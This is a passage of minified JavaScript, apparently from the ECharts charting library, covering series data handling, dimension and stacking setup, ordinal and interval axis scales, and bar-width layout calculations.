this.getDimensionIndex(e)},e.prototype.getDimensionInfo=function(e){return this._getDimInfo(this.getDimension(e))},e.prototype._initGetDimensionInfo=function(e){var t=this._dimInfos;this._getDimInfo=e?function(e){return t.hasOwnProperty(e)?t[e]:void 0}:function(e){return t[e]}},e.prototype.getDimensionsOnCoord=function(){return this._dimSummary.dataDimsOnCoord.slice()},e.prototype.mapDimension=function(e,t){var n=this._dimSummary;if(t==null)return n.encodeFirstDimNotExtra[e];var r=n.encode[e];return r?r[t]:null},e.prototype.mapDimensionsAll=function(e){return(this._dimSummary.encode[e]||[]).slice()},e.prototype.getStore=function(){return this._store},e.prototype.initData=function(e,t,n){var r=this,i;if(e instanceof By&&(i=e),!i){var a=this.dimensions,o=kv(e)||st(e)?new Gv(e,a.length):e;i=new By;var s=Rw(a,function(e){return{type:r._dimInfos[e].type,property:e}});i.initData(o,s,n)}this._store=i,this._nameList=(t||[]).slice(),this._idList=[],this._nameRepeatCount={},this._doInit(0,i.count()),this._dimSummary=Tw(this,this._schema),this.userOutput=this._dimSummary.userOutput},e.prototype.appendData=function(e){var t=this._store.appendData(e);this._doInit(t[0],t[1])},e.prototype.appendValues=function(e,t){var n=this._store.appendValues(e,t&&t.length),r=n.start,i=n.end,a=this._shouldMakeIdFromName();if(this._updateOrdinalMeta(),t)for(var o=r;o<i;o++){var s=o-r;this._nameList[o]=t[s],a&&Xw(this,o)}},e.prototype._updateOrdinalMeta=function(){for(var e=this._store,t=this.dimensions,n=0;n<t.length;n++){var r=this._dimInfos[t[n]];r.ordinalMeta&&e.collectOrdinalMeta(r.storeDimIndex,r.ordinalMeta)}},e.prototype._shouldMakeIdFromName=function(){var e=this._store.getProvider();return this._idDimIdx==null&&e.getSource().sourceFormat!==`typedArray`&&!e.fillStorage},e.prototype._doInit=function(e,t){if(!(e>=t)){var n=this._store.getProvider();this._updateOrdinalMeta();var r=this._nameList,i=this._idList;if(n.getSource().sourceFormat===`original`&&!n.pure)for(var a=[],o=e;o<t;o++){var s=n.getItem(o,a);if(!this.hasItemOption&&Hs(s)&&(this.hasItemOption=!0),s){var c=s.name;r[o]==null&&c!=null&&(r[o]=Qs(c,null));var l=s.id;i[o]==null&&l!=null&&(i[o]=Qs(l,null))}}if(this._shouldMakeIdFromName())for(var o=e;o<t;o++)Xw(this,o);Ww(this)}},e.prototype.getApproximateExtent=function(e){return this._approximateExtent[e]||this._store.getDataExtent(this._getStoreDimIndex(e))},e.prototype.setApproximateExtent=function(e,t){t=this.getDimension(t),this._approximateExtent[t]=e.slice()},e.prototype.getCalculationInfo=function(e){return this._calculationInfo[e]},e.prototype.setCalculationInfo=function(e,t){Lw(e)?F(this._calculationInfo,e):this._calculationInfo[e]=t},e.prototype.getName=function(e){var t=this.getRawIndex(e),n=this._nameList[t];return n==null&&this._nameDimIdx!=null&&(n=Kw(this,this._nameDimIdx,t)),n??=``,n},e.prototype._getCategory=function(e,t){var n=this._store.get(e,t),r=this._store.getOrdinalMeta(e);return r?r.categories[n]:n},e.prototype.getId=function(e){return Gw(this,this.getRawIndex(e))},e.prototype.count=function(){return this._store.count()},e.prototype.get=function(e,t){var n=this._store,r=this._dimInfos[e];if(r)return n.get(r.storeDimIndex,t)},e.prototype.getByRawIndex=function(e,t){var n=this._store,r=this._dimInfos[e];if(r)return n.getByRawIndex(r.storeDimIndex,t)},e.prototype.getIndices=function(){return this._store.getIndices()},e.prototype.getDataExtent=function(e){return this._store.getDataExtent(this._getStoreDimIndex(e))},e.prototype.getSum=function(e){return this._store.getSum(this._getStoreDimIndex(e))},e.prototype.getMedian=function(e){return this._store.getMedian(this._getStoreDimIndex(e))},e.prototype.getValues=function(e,t){var n=this,r=this._store;return B(e)?r.getValues(Rw(e,function(e){return n._getStoreDimIndex(e)}),t):r.getValues(e)},e.prototype.hasValue=function(e){for(var t=this._dimSummary.dataDimIndicesOnCoord,n=0,r=t.length;n<r;n++)if(isNaN(this._store.get(t[n],e)))return!1;return!0},e.prototype.indexOfName=function(e){for(var t=0,n=this._store.count();t<n;t++)if(this.getName(t)===e)return t;return-1},e.prototype.getRawIndex=function(e){return this._store.getRawIndex(e)},e.prototype.indexOfRawIndex=function(e){return this._store.indexOfRawIndex(e)},e.prototype.rawIndexOf=function(e,t){var n=e&&this._invertedIndicesMap[e],r=n&&n[t];return r==null||isNaN(r)?Vw:r},e.prototype.each=function(e,t,n){"use strict";V(e)&&(n=t,t=e,e=[]);var r=n||this,i=Rw(qw(e),this._getStoreDimIndex,this);this._store.each(i,r?z(t,r):t)},e.prototype.filterSelf=function(e,t,n){"use strict";V(e)&&(n=t,t=e,e=[]);var r=n||this,i=Rw(qw(e),this._getStoreDimIndex,this);return this._store=this._store.filter(i,r?z(t,r):t),this},e.prototype.selectRange=function(e){"use strict";var t=this,n={},r=dt(e),i=[];return L(r,function(r){var a=t._getStoreDimIndex(r);n[a]=e[r],i.push(a)}),this._store=this._store.selectRange(n),this},e.prototype.mapArray=function(e,t,n){"use strict";V(e)&&(n=t,t=e,e=[]),n||=this;var r=[];return this.each(e,function(){r.push(t&&t.apply(this,arguments))},n),r},e.prototype.map=function(e,t,n,r){"use strict";var i=n||r||this,a=Rw(qw(e),this._getStoreDimIndex,this),o=Yw(this);return o._store=this._store.map(a,i?z(t,i):t),o},e.prototype.modify=function(e,t,n,r){var i=n||r||this,a=Rw(qw(e),this._getStoreDimIndex,this);this._store.modify(a,i?z(t,i):t)},e.prototype.downSample=function(e,t,n,r){var i=Yw(this);return i._store=this._store.downSample(this._getStoreDimIndex(e),t,n,r),i},e.prototype.minmaxDownSample=function(e,t){var n=Yw(this);return n._store=this._store.minmaxDownSample(this._getStoreDimIndex(e),t),n},e.prototype.lttbDownSample=function(e,t){var n=Yw(this);return n._store=this._store.lttbDownSample(this._getStoreDimIndex(e),t),n},e.prototype.getRawDataItem=function(e){return this._store.getRawDataItem(e)},e.prototype.getItemModel=function(e){var t=this.hostModel;return new lh(this.getRawDataItem(e),t,t&&t.ecModel)},e.prototype.diff=function(e){var t=this;return new Cw(e?e.getStore().getIndices():[],this.getStore().getIndices(),function(t){return Gw(e,t)},function(e){return Gw(t,e)})},e.prototype.getVisual=function(e){var t=this._visual;return t&&t[e]},e.prototype.setVisual=function(e,t){this._visual=this._visual||{},Lw(e)?F(this._visual,e):this._visual[e]=t},e.prototype.getItemVisual=function(e,t){var n=this._itemVisuals[e];return(n&&n[t])??this.getVisual(t)},e.prototype.hasItemVisual=function(){return this._itemVisuals.length>0},e.prototype.ensureUniqueItemVisual=function(e,t){var n=this._itemVisuals,r=n[e];r||=n[e]={};var i=r[t];return i??(i=this.getVisual(t),B(i)?i=i.slice():Lw(i)&&(i=F({},i)),r[t]=i),i},e.prototype.setItemVisual=function(e,t,n){var r=this._itemVisuals[e]||{};this._itemVisuals[e]=r,Lw(t)?F(r,t):r[t]=n},e.prototype.clearAllVisual=function(){this._visual={},this._itemVisuals=[]},e.prototype.setLayout=function(e,t){Lw(e)?F(this._layout,e):this._layout[e]=t},e.prototype.getLayout=function(e){return this._layout[e]},e.prototype.getItemLayout=function(e){return this._itemLayouts[e]},e.prototype.setItemLayout=function(e,t,n){this._itemLayouts[e]=n?F(this._itemLayouts[e]||{},t):t},e.prototype.clearItemLayouts=function(){this._itemLayouts.length=0},e.prototype.setItemGraphicEl=function(e,t){nd(this.hostModel&&this.hostModel.seriesIndex,this.dataType,e,t),this._graphicEls[e]=t},e.prototype.getItemGraphicEl=function(e){return this._graphicEls[e]},e.prototype.eachItemGraphicEl=function(e,t){L(this._graphicEls,function(n,r){n&&e&&e.call(t,n,r)})},e.prototype.cloneShallow=function(t){return t||=new e(this._schema?this._schema:Rw(this.dimensions,this._getDimInfo,this),this.hostModel),Jw(t,this),t._store=this._store,t},e.prototype.wrapMethod=function(e,t){var n=this[e];V(n)&&(this.__wrappedMethods=this.__wrappedMethods||[],this.__wrappedMethods.push(e),this[e]=function(){var e=n.apply(this,arguments);return t.apply(this,[e].concat(Tt(arguments)))})},e.internalField=function(){Ww=function(e){var t=e._invertedIndicesMap;L(t,function(n,r){var i=e._dimInfos[r],a=i.ordinalMeta,o=e._store;if(a){n=t[r]=new zw(a.categories.length);for(var s=0;s<n.length;s++)n[s]=Vw;for(var s=0;s<o.count();s++)n[o.get(i.storeDimIndex,s)]=s}})},Kw=function(e,t,n){return Qs(e._getCategory(t,n),null)},Gw=function(e,t){var n=e._idList[t];return n==null&&e._idDimIdx!=null&&(n=Kw(e,e._idDimIdx,t)),n??=Bw+t,n},qw=function(e){return B(e)||(e=e==null?[]:[e]),e},Yw=function(t){var n=new e(t._schema?t._schema:Rw(t.dimensions,t._getDimInfo,t),t.hostModel);return Jw(n,t),n},Jw=function(e,t){L(Hw.concat(t.__wrappedMethods||[]),function(n){t.hasOwnProperty(n)&&(e[n]=t[n])}),e.__wrappedMethods=t.__wrappedMethods,L(Uw,function(n){e[n]=P(t[n])}),e._calculationInfo=F({},t._calculationInfo)},Xw=function(e,t){var n=e._nameList,r=e._idList,i=e._nameDimIdx,a=e._idDimIdx,o=n[t],s=r[t];if(o==null&&i!=null&&(n[t]=o=Kw(e,i,t)),s==null&&a!=null&&(r[t]=s=Kw(e,a,t)),s==null&&o!=null){var c=e._nameRepeatCount,l=c[o]=(c[o]||0)+1;s=o,l>1&&(s+=`__ec__`+l),r[t]=s}}}(),e}();function Qw(e,t){kv(e)||(e=jv(e)),t||={};var n=t.coordDimensions||[],r=t.dimensionsDefine||e.dimensionsDefine||[],i=G(),a=[],o=eT(e,n,r,t.dimensionsCount),s=t.canOmitUnusedDimensions&&Iw(o),c=r===e.dimensionsDefine,l=c?Fw(e):Pw(r),u=t.encodeDefine;!u&&t.encodeDefaulter&&(u=t.encodeDefaulter(e,o));for(var d=G(u),f=new My(o),p=0;p<f.length;p++)f[p]=-1;function m(e){var t=f[e];if(t<0){var n=r[e],i=U(n)?n:{name:n},o=new kw,s=i.name;return s!=null&&l.get(s)!=null&&(o.name=o.displayName=s),i.type!=null&&(o.type=i.type),i.displayName!=null&&(o.displayName=i.displayName),f[e]=a.length,o.storeDimIndex=e,a.push(o),o}return a[t]}if(!s)for(var p=0;p<o;p++)m(p);d.each(function(e,t){var n=Rs(e).slice();if(n.length===1&&!H(n[0])&&n[0]<0){d.set(t,!1);return}var r=d.set(t,[]);L(n,function(e,n){var i=H(e)?l.get(e):e;i!=null&&i<o&&(r[n]=i,g(m(i),t,n))})});var h=0;L(n,function(e){var t,n,r,i;if(H(e))t=e,i={};else{i=e,t=i.name;var a=i.ordinalMeta;i.ordinalMeta=null,i=F({},i),i.ordinalMeta=a,n=i.dimsDef,r=i.otherDims,i.name=i.coordDim=i.coordDimIndex=i.dimsDef=i.otherDims=null}var s=d.get(t);if(s!==!1){if(s=Rs(s),!s.length)for(var l=0;l<(n&&n.length||1);l++){for(;h<o&&m(h).coordDim!=null;)h++;h<o&&s.push(h++)}L(s,function(e,a){var o=m(e);if(c&&i.type!=null&&(o.type=i.type),g(I(o,i),t,a),o.name==null&&n){var s=n[a];!U(s)&&(s={name:s}),o.name=o.displayName=s.name,o.defaultTooltip=s.defaultTooltip}r&&I(o.otherDims,r)})}});function g(e,t,n){u_.get(t)==null?(e.coordDim=t,e.coordDimIndex=n,i.set(t,!0)):e.otherDims[t]=n}var _=t.generateCoord,v=t.generateCoordCount,y=v!=null;v=_?v||1:0;var b=_||`value`;function x(e){e.name??=e.coordDim}if(s)L(a,function(e){x(e)}),a.sort(function(e,t){return e.storeDimIndex-t.storeDimIndex});else for(var S=0;S<o;S++){var C=m(S);C.coordDim??(C.coordDim=tT(b,i,y),C.coordDimIndex=0,(!_||v<=0)&&(C.isExtraCoord=!0),v--),x(C),C.type==null&&(T_(e,S)===v_.Must||C.isExtraCoord&&(C.otherDims.itemName!=null||C.otherDims.seriesName!=null))&&(C.type=`ordinal`)}return $w(a),new Mw({source:e,dimensions:a,fullDimensionCount:o,dimensionOmitted:s})}function $w(e){for(var t=G(),n=0;n<e.length;n++){var r=e[n],i=r.name,a=t.get(i)||0;a>0&&(r.name=i+(a-1)),a++,t.set(i,a)}}function eT(e,t,n,r){var i=Math.max(e.dimensionsDetectedCount||1,t.length,n.length,r||0);return L(t,function(e){var t;U(e)&&(t=e.dimsDef)&&(i=Math.max(i,t.length))}),i}function tT(e,t,n){if(n||t.hasKey(e)){for(var r=0;t.hasKey(e+r);)r++;e+=r}return t.set(e,!0),e}var nT=function(){function e(e){this.coordSysDims=[],this.axisMap=G(),this.categoryAxisMap=G(),this.coordSysName=e}return e}();function rT(e){var t=e.get(`coordinateSystem`),n=new nT(t),r=iT[t];if(r)return r(e,n,n.axisMap,n.categoryAxisMap),n}var iT={cartesian2d:function(e,t,n,r){var i=e.getReferringComponents(`xAxis`,uc).models[0],a=e.getReferringComponents(`yAxis`,uc).models[0];t.coordSysDims=[`x`,`y`],n.set(`x`,i),n.set(`y`,a),aT(i)&&(r.set(`x`,i),t.firstCategoryDimIndex=0),aT(a)&&(r.set(`y`,a),t.firstCategoryDimIndex??=1)},singleAxis:function(e,t,n,r){var i=e.getReferringComponents(`singleAxis`,uc).models[0];t.coordSysDims=[`single`],n.set(`single`,i),aT(i)&&(r.set(`single`,i),t.firstCategoryDimIndex=0)},polar:function(e,t,n,r){var i=e.getReferringComponents(`polar`,uc).models[0],a=i.findAxisModel(`radiusAxis`),o=i.findAxisModel(`angleAxis`);t.coordSysDims=[`radius`,`angle`],n.set(`radius`,a),n.set(`angle`,o),aT(a)&&(r.set(`radius`,a),t.firstCategoryDimIndex=0),aT(o)&&(r.set(`angle`,o),t.firstCategoryDimIndex??=1)},geo:function(e,t,n,r){t.coordSysDims=[`lng`,`lat`]},parallel:function(e,t,n,r){var i=e.ecModel,a=i.getComponent(`parallel`,e.get(`parallelIndex`)),o=t.coordSysDims=a.dimensions.slice();L(a.parallelAxisIndex,function(e,a){var s=i.getComponent(`parallelAxis`,e),c=o[a];n.set(c,s),aT(s)&&(r.set(c,s),t.firstCategoryDimIndex??=a)})},matrix:function(e,t,n,r){var i=e.getReferringComponents(`matrix`,uc).models[0];t.coordSysDims=[`x`,`y`];var a=i.getDimensionModel(`x`),o=i.getDimensionModel(`y`);n.set(`x`,a),n.set(`y`,o),r.set(`x`,a),r.set(`y`,o)}};function aT(e){return e.get(`type`)===`category`}function oT(e,t,n){n||={};var r=n.byIndex,i=n.stackedCoordDimension,a,o,s;sT(t)?a=t:(o=t.schema,a=o.dimensions,s=t.store);var c=!!(e&&e.get(`stack`)),l,u,d,f;if(L(a,function(e,t){H(e)&&(a[t]=e={name:e}),c&&!e.isExtraCoord&&(!r&&!l&&e.ordinalMeta&&(l=e),!u&&e.type!==`ordinal`&&e.type!==`time`&&(!i||i===e.coordDim)&&(u=e))}),u&&!r&&!l&&(r=!0),u){d=`__\0ecstackresult_`+e.id,f=`__\0ecstackedover_`+e.id,l&&(l.createInvertedIndices=!0);var p=u.coordDim,m=u.type,h=0;L(a,function(e){e.coordDim===p&&h++});var g={name:d,coordDim:p,coordDimIndex:h,type:m,isExtraCoord:!0,isCalculationCoord:!0,storeDimIndex:a.length},_={name:f,coordDim:f,coordDimIndex:h+1,type:m,isExtraCoord:!0,isCalculationCoord:!0,storeDimIndex:a.length+1};o?(s&&(g.storeDimIndex=s.ensureCalculationDimension(f,m),_.storeDimIndex=s.ensureCalculationDimension(d,m)),o.appendCalculationDimension(g),o.appendCalculationDimension(_)):(a.push(g),a.push(_))}return{stackedDimension:u&&u.name,stackedByDimension:l&&l.name,isStackedByIndex:r,stackedOverDimension:f,stackResultDimension:d}}function sT(e){return!Nw(e.schema)}function cT(e,t){return!!t&&t===e.getCalculationInfo(`stackedDimension`)}function lT(e,t){return cT(e,t)?e.getCalculationInfo(`stackResultDimension`):t}function uT(e,t){var n=e.get(`coordinateSystem`),r=Tg.get(n),i;return t&&t.coordSysDims&&(i=R(t.coordSysDims,function(e){var n={name:e},r=t.axisMap.get(e);return r&&(n.type=Dw(r.get(`type`))),n})),i||=r&&(r.getDimensionsInfo?r.getDimensionsInfo():r.dimensions.slice())||[`x`,`y`],i}function dT(e,t,n){var r,i;return n&&L(e,function(e,a){var o=e.coordDim,s=n.categoryAxisMap.get(o);s&&(r??=a,e.ordinalMeta=s.getOrdinalMeta(),t&&(e.createInvertedIndices=!0)),e.otherDims.itemName!=null&&(i=!0)}),!i&&r!=null&&(e[r].otherDims.itemName=0),r}function fT(e,t,n){n||={};var r=t.getSourceManager(),i,a=!1;e?(a=!0,i=jv(e)):(i=r.getSource(),a=i.sourceFormat===d_);var o=rT(t),s=uT(t,o),c=n.useEncodeDefaulter,l=V(c)?c:c?pt(x_,s,t):null,u={coordDimensions:s,generateCoord:n.generateCoord,encodeDefine:t.getEncode(),encodeDefaulter:l,canOmitUnusedDimensions:!a},d=Qw(i,u),f=dT(d.dimensions,n.createInvertedIndices,o),p=a?null:r.getSharedDataStore(d),m=oT(t,{schema:d,store:p}),h=new Zw(d,t);h.setCalculationInfo(m);var g=f!=null&&pT(i)?function(e,t,n,r){return r===f?n:this.defaultDimValueGetter(e,t,n,r)}:null;return h.hasItemOption=!1,h.initData(a?i:p,null,g),h}function pT(e){if(e.sourceFormat===`original`)return!B(Vs(mT(e.data||[])))}function mT(e){for(var t=0;t<e.length&&e[t]==null;)t++;return e[t]}function hT(e){return e.type===`interval`||e.type===`log`}function gT(e,t,n,r,i){var a={},o=a.interval=xs(t/n,!0);r!=null&&o<r&&(o=a.interval=r),i!=null&&o>i&&(o=a.interval=i);var s=a.intervalPrecision=vT(o);return bT(a.niceTickExtent=[cs(Math.ceil(e[0]/o)*o,s),cs(Math.floor(e[1]/o)*o,s)],e),a}function _T(e){var t=10**bs(e),n=e/t;return n?n===2?n=3:n===3?n=5:n*=2:n=1,cs(n*t)}function vT(e){return us(e)+2}function yT(e,t,n){e[t]=Math.max(Math.min(e[t],n[1]),n[0])}function bT(e,t){!isFinite(e[0])&&(e[0]=t[0]),!isFinite(e[1])&&(e[1]=t[1]),yT(e,0,t),yT(e,1,t),e[0]>e[1]&&(e[0]=e[1])}function xT(e,t){return e>=t[0]&&e<=t[1]}var ST=function(){function e(){this.normalize=CT,this.scale=wT}return e.prototype.updateMethods=function(e){e.hasBreaks()?(this.normalize=z(e.normalize,e),this.scale=z(e.scale,e)):(this.normalize=CT,this.scale=wT)},e}();function CT(e,t){return t[1]===t[0]?.5:(e-t[0])/(t[1]-t[0])}function wT(e,t){return e*(t[1]-t[0])+t[0]}function TT(e,t,n){var r=Math.log(e);return[Math.log(n?t[0]:Math.max(0,t[0]))/r,Math.log(n?t[1]:Math.max(0,t[1]))/r]}var ET=function(){function e(e){this._calculator=new ST,this._setting=e||{},this._extent=[1/0,-1/0];var t=kh();t&&(this._brkCtx=t.createScaleBreakContext(),this._brkCtx.update(this._extent))}return e.prototype.getSetting=function(e){return this._setting[e]},e.prototype._innerUnionExtent=function(e){var t=this._extent;this._innerSetExtent(e[0]<t[0]?e[0]:t[0],e[1]>t[1]?e[1]:t[1])},e.prototype.unionExtentFromData=function(e,t){this._innerUnionExtent(e.getApproximateExtent(t))},e.prototype.getExtent=function(){return this._extent.slice()},e.prototype.setExtent=function(e,t){this._innerSetExtent(e,t)},e.prototype._innerSetExtent=function(e,t){var n=this._extent;isNaN(e)||(n[0]=e),isNaN(t)||(n[1]=t),this._brkCtx&&this._brkCtx.update(n)},e.prototype.setBreaksFromOption=function(e){var t=kh();t&&this._innerSetBreak(t.parseAxisBreakOption(e,z(this.parse,this)))},e.prototype._innerSetBreak=function(e){this._brkCtx&&(this._brkCtx.setBreaks(e),this._calculator.updateMethods(this._brkCtx),this._brkCtx.update(this._extent))},e.prototype._innerGetBreaks=function(){return this._brkCtx?this._brkCtx.breaks:[]},e.prototype.hasBreaks=function(){return this._brkCtx?this._brkCtx.hasBreaks():!1},e.prototype._getExtentSpanWithBreaks=function(){return this._brkCtx&&this._brkCtx.hasBreaks()?this._brkCtx.getExtentSpan():this._extent[1]-this._extent[0]},e.prototype.isInExtentRange=function(e){return this._extent[0]<=e&&this._extent[1]>=e},e.prototype.isBlank=function(){return this._isBlank},e.prototype.setBlank=function(e){this._isBlank=e},e}();Nc(ET);var DT=0,OT=function(){function e(e){this.categories=e.categories||[],this._needCollect=e.needCollect,this._deduplication=e.deduplication,this.uid=++DT,this._onCollect=e.onCollect}return e.createByAxisModel=function(t){var n=t.option,r=n.data,i=r&&R(r,kT);return new e({categories:i,needCollect:!i,deduplication:n.dedplication!==!1})},e.prototype.getOrdinal=function(e){return this._getOrCreateMap().get(e)},e.prototype.parseAndCollect=function(e){var t,n=this._needCollect;if(!H(e)&&!n)return e;if(n&&!this._deduplication)return t=this.categories.length,this.categories[t]=e,this._onCollect&&this._onCollect(e,t),t;var r=this._getOrCreateMap();return t=r.get(e),t??(n?(t=this.categories.length,this.categories[t]=e,r.set(e,t),this._onCollect&&this._onCollect(e,t)):t=NaN),t},e.prototype._getOrCreateMap=function(){return this._map||=G(this.categories)},e}();function kT(e){return U(e)&&e.value!=null?e.value:e+``}var AT=function(e){N(t,e);function t(t){var n=e.call(this,t)||this;n.type=`ordinal`;var r=n.getSetting(`ordinalMeta`);return r||=new OT({}),B(r)&&(r=new OT({categories:R(r,function(e){return U(e)?e.value:e})})),n._ordinalMeta=r,n._extent=n.getSetting(`extent`)||[0,r.categories.length-1],n}return t.prototype.parse=function(e){return e==null?NaN:H(e)?this._ordinalMeta.getOrdinal(e):Math.round(e)},t.prototype.contain=function(e){return xT(e,this._extent)&&e>=0&&e<this._ordinalMeta.categories.length},t.prototype.normalize=function(e){return e=this._getTickNumber(e),this._calculator.normalize(e,this._extent)},t.prototype.scale=function(e){return e=Math.round(this._calculator.scale(e,this._extent)),this.getRawOrdinalNumber(e)},t.prototype.getTicks=function(){for(var e=[],t=this._extent,n=t[0];n<=t[1];)e.push({value:n}),n++;return e},t.prototype.getMinorTicks=function(e){},t.prototype.setSortInfo=function(e){if(e==null){this._ordinalNumbersByTick=this._ticksByOrdinalNumber=null;return}for(var t=e.ordinalNumbers,n=this._ordinalNumbersByTick=[],r=this._ticksByOrdinalNumber=[],i=0,a=this._ordinalMeta.categories.length,o=Math.min(a,t.length);i<o;++i){var s=t[i];n[i]=s,r[s]=i}for(var c=0;i<a;++i){for(;r[c]!=null;)c++;n.push(c),r[c]=i}},t.prototype._getTickNumber=function(e){var t=this._ticksByOrdinalNumber;return t&&e>=0&&e<t.length?t[e]:e},t.prototype.getRawOrdinalNumber=function(e){var t=this._ordinalNumbersByTick;return t&&e>=0&&e<t.length?t[e]:e},t.prototype.getLabel=function(e){if(!this.isBlank()){var t=this.getRawOrdinalNumber(e.value),n=this._ordinalMeta.categories[t];return n==null?``:n+``}},t.prototype.count=function(){return this._extent[1]-this._extent[0]+1},t.prototype.isInExtentRange=function(e){return e=this._getTickNumber(e),this._extent[0]<=e&&this._extent[1]>=e},t.prototype.getOrdinalMeta=function(){return this._ordinalMeta},t.prototype.calcNiceTicks=function(){},t.prototype.calcNiceExtent=function(){},t.type=`ordinal`,t}(ET);ET.registerClass(AT);var jT=cs,MT=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t.type=`interval`,t._interval=0,t._intervalPrecision=2,t}return t.prototype.parse=function(e){return e==null||e===``?NaN:Number(e)},t.prototype.contain=function(e){return xT(e,this._extent)},t.prototype.normalize=function(e){return this._calculator.normalize(e,this._extent)},t.prototype.scale=function(e){return this._calculator.scale(e,this._extent)},t.prototype.getInterval=function(){return this._interval},t.prototype.setInterval=function(e){this._interval=e,this._niceExtent=this._extent.slice(),this._intervalPrecision=vT(e)},t.prototype.getTicks=function(e){e||={};var t=this._interval,n=this._extent,r=this._niceExtent,i=this._intervalPrecision,a=kh(),o=[];if(!t)return o;if(e.breakTicks===`only_break`&&a)return a.addBreaksToTicks(o,this._brkCtx.breaks,this._extent),o;var s=1e4;n[0]<r[0]&&(e.expandToNicedExtent?o.push({value:jT(r[0]-t,i)}):o.push({value:n[0]}));for(var c=function(e,n){return Math.round((n-e)/t)},l=r[0];l<=r[1];){if(o.push({value:l}),l=jT(l+t,i),this._brkCtx){var u=this._brkCtx.calcNiceTickMultiple(l,c);u>=0&&(l=jT(l+u*t,i))}if(o.length>0&&l===o[o.length-1].value)break;if(o.length>s)return[]}var d=o.length?o[o.length-1].value:r[1];return n[1]>d&&(e.expandToNicedExtent?o.push({value:jT(d+t,i)}):o.push({value:n[1]})),a&&a.pruneTicksByBreak(e.pruneByBreak,o,this._brkCtx.breaks,function(e){return e.value},this._interval,this._extent),e.breakTicks!==`none`&&a&&a.addBreaksToTicks(o,this._brkCtx.breaks,this._extent),o},t.prototype.getMinorTicks=function(e){for(var t=this.getTicks({expandToNicedExtent:!0}),n=[],r=this.getExtent(),i=1;i<t.length;i++){var a=t[i],o=t[i-1];if(!(o.break||a.break)){for(var s=0,c=[],l=(a.value-o.value)/e,u=vT(l);s<e-1;){var d=jT(o.value+(s+1)*l,u);d>r[0]&&d<r[1]&&c.push(d),s++}var f=kh();f&&f.pruneTicksByBreak(`auto`,c,this._getNonTransBreaks(),function(e){return e},this._interval,r),n.push(c)}}return n},t.prototype._getNonTransBreaks=function(){return this._brkCtx?this._brkCtx.breaks:[]},t.prototype.getLabel=function(e,t){if(e==null)return``;var n=t&&t.precision;return n==null?n=us(e.value)||0:n===`auto`&&(n=this._intervalPrecision),fg(jT(e.value,n,!0))},t.prototype.calcNiceTicks=function(e,t,n){e||=5;var r=this._extent.slice(),i=this._getExtentSpanWithBreaks();if(isFinite(i)){i<0&&(i=-i,r.reverse(),this._innerSetExtent(r[0],r[1]),r=this._extent.slice());var a=gT(r,i,e,t,n);this._intervalPrecision=a.intervalPrecision,this._interval=a.interval,this._niceExtent=a.niceTickExtent}},t.prototype.calcNiceExtent=function(e){var t=this._extent.slice();if(t[0]===t[1])if(t[0]!==0){var n=Math.abs(t[0]);e.fixMax||(t[1]+=n/2),t[0]-=n/2}else t[1]=1;var r=t[1]-t[0];isFinite(r)||(t[0]=0,t[1]=1),this._innerSetExtent(t[0],t[1]),t=this._extent.slice(),this.calcNiceTicks(e.splitNumber,e.minInterval,e.maxInterval);var i=this._interval,a=this._intervalPrecision;e.fixMin||(t[0]=jT(Math.floor(t[0]/i)*i,a)),e.fixMax||(t[1]=jT(Math.ceil(t[1]/i)*i,a)),this._innerSetExtent(t[0],t[1])},t.prototype.setNiceExtent=function(e,t){this._niceExtent=[e,t]},t.type=`interval`,t}(ET);ET.registerClass(MT);var NT=typeof Float32Array<`u`,PT=NT?Float32Array:Array;function FT(e){return B(e)?NT?new Float32Array(e):e:new PT(e)}var IT=`__ec_stack_`;function LT(e){return e.get(`stack`)||IT+e.seriesIndex}function RT(e){return e.dim+e.index}function zT(e){var t=[],n=e.axis,r=`axis0`;if(n.type===`category`){for(var i=n.getBandWidth(),a=0;a<e.count;a++)t.push(I({bandWidth:i,axisKey:r,stackId:IT+a},e));for(var o=UT(t),s=[],a=0;a<e.count;a++){var c=o[r][IT+a];c.offsetCenter=c.offset+c.width/2,s.push(c)}return s}}function BT(e,t){var n=[];return t.eachSeriesByType(e,function(e){qT(e)&&n.push(e)}),n}function VT(e){var t={};L(e,function(e){var n=e.coordinateSystem.getBaseAxis();if(!(n.type!==`time`&&n.type!==`value`))for(var r=e.getData(),i=n.dim+`_`+n.index,a=r.getDimensionIndex(r.mapDimension(n.dim)),o=r.getStore(),s=0,c=o.count();s<c;++s){var l=o.get(a,s);t[i]?t[i].push(l):t[i]=[l]}});var n={};for(var r in t)if(t.hasOwnProperty(r)){var i=t[r];if(i){i.sort(function(e,t){return e-t});for(var a=null,o=1;o<i.length;++o){var s=i[o]-i[o-1];s>0&&(a=a===null?s:Math.min(a,s))}n[r]=a}}return n}function HT(e){var t=VT(e),n=[];return L(e,function(e){var r=e.coordinateSystem.getBaseAxis(),i=r.getExtent(),a;if(r.type===`category`)a=r.getBandWidth();else if(r.type===`value`||r.type===`time`){var o=t[r.dim+`_`+r.index],s=Math.abs(i[1]-i[0]),c=r.scale.getExtent(),l=Math.abs(c[1]-c[0]);a=o?s/l*o:s}else{var u=e.getData();a=Math.abs(i[1]-i[0])/u.count()}var d=X(e.get(`barWidth`),a),f=X(e.get(`barMaxWidth`),a),p=X(e.get(`barMinWidth`)||(JT(e)?.5:1),a),m=e.get(`barGap`),h=e.get(`barCategoryGap`),g=e.get(`defaultBarGap`);n.push({bandWidth:a,barWidth:d,barMaxWidth:f,barMinWidth:p,barGap:m,barCategoryGap:h,defaultBarGap:g,axisKey:RT(r),stackId:LT(e)})}),UT(n)}function UT(e){var t={};L(e,function(e,n){var r=e.axisKey,i=e.bandWidth,a=t[r]||{bandWidth:i,remainedWidth:i,autoWidthCount:0,categoryGap:null,gap:e.defaultBarGap||0,stacks:{}},o=a.stacks;t[r]=a;var s=e.stackId;o[s]||a.autoWidthCount++,o[s]=o[s]||{width:0,maxWidth:0};var c=e.barWidth;c&&!o[s].width&&(o[s].width=c,c=Math.min(a.remainedWidth,c),a.remainedWidth-=c);var l=e.barMaxWidth;l&&(o[s].maxWidth=l);var u=e.barMinWidth;u&&(o[s].minWidth=u);var d=e.barGap;d!=null&&(a.gap=d);var f=e.barCategoryGap;f!=null&&(a.categoryGap=f)});var n={};return L(t,function(e,t){n[t]={};var r=e.stacks,i=e.bandWidth,a=e.categoryGap;if(a==null){var o=dt(r).length;a=Math.max(35-o*4,15)+`%`}var s=X(a,i),c=X(e.gap,1),l=e.remainedWidth,u=e.autoWidthCount,d=(l-s)/(u+(u-1)*c);d=Math.max(d,0),L(r,function(e){var t=e.maxWidth,n=e.minWidth;if(e.width){var 